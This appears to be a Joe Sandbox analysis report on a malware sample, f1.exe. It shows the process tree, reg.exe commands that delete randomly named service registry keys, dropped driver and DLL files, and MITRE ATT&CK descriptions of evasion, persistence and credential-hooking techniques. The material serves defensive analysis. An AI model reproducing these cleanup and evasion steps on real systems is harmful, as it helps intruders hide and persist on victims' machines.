File size:	24'454'144 bytes
MD5 hash:	AA90AF9AE785EB682DBFA0FB5AB32241
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:57:10
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:57:14
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	06:46:48
Start date:	04/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\2649hsXWi /f
Imagebase:	0x880000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:46:48
Start date:	04/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:47:03
Start date:	04/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	06:47:07
Start date:	04/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\CB8C7NLdg /f
Imagebase:	0x880000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:47:07
Start date:	04/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:47:18
Start date:	04/08/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff7108f0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:47:18
Start date:	04/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.18851cbd-1cb1-48b4-812d-a7115ba3a00e.1.etl

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

C:\Users\user\AppData\Local\Temp\MKss.ini

C:\Users\user\Desktop\MultiSys\75F55GpM.dll

C:\Users\user\Desktop\MultiSys\A32272954.dll

C:\Users\user\Desktop\MultiSys\E4288D0BD5

C:\Windows\F705A27.sys

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

C:\Windows\SysWOW64\2649hsXWi.sys

C:\Windows\SysWOW64\6E8EJNeaX.sys

C:\Windows\SysWOW64\CB8C7NLdg.sys

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
f1.exe